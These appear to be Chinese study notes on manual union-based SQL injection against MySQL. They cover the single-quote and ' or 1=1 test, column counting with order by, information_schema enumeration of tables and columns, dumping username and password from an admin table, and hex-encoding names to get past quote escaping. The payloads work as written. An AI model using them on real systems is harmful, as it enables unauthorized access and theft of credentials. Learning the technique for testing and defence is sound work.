一、判断
通过单引号,判断是否能够注入,如' or 1=1等等
二、猜解字段
猜解字段,通过group by 和 order by 以及 union 查询进行判断
如一个表的字段有: id username password
可以通过上述方法进行查询
如:
select * from admin where id = 1 order by 3 当3变为4的时候就会报错
select * from admin where id = 1 union select 1,database(),3; 通过联合查询,查询出数据库名
三、通过字段可以猜解一下内容
获取当前数据库名:database()
获取当前数据库版本号:version()
查看当前用户:user()
四、获取数据库的表
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='database()' database()填写爆出来的数据库名 进入information_schema数据库里面的表TABLES,里面包含了所有的表名。<只有前面判断的条件错误 即1=2 才能输出后面的结果,前面的结果才不会输出,若要输出前面的结果,需要使前面的条件正确>
五、获取表里面的字段
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'admin' limit 2,1 2代表爆出第二个字段,进入information_schema数据库里的表COLUMNS(该表中集合了数据库所有的字段)
六、获取字段对应的数据
id=2 and 1 = 2 union select 1,username,password from admin (通过上述方法获取到字段有username和password,表名为admin)
注意:
1.当查询结果使用break跳出循环时,输出只有一个查询结果,可以使前面的一个查询报错不显示查询结果,union后面查询的时候就会显示在第一条。
2.使用limit 如语句
id = 2 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'biaoming' limit 0,1 0代表从第一条查询只要一条数据,将0修改为1 代表从第二条开始查询只要一条数据。
3.若是单引号被转义了,将表名修改为16进制,不需要使用单引号。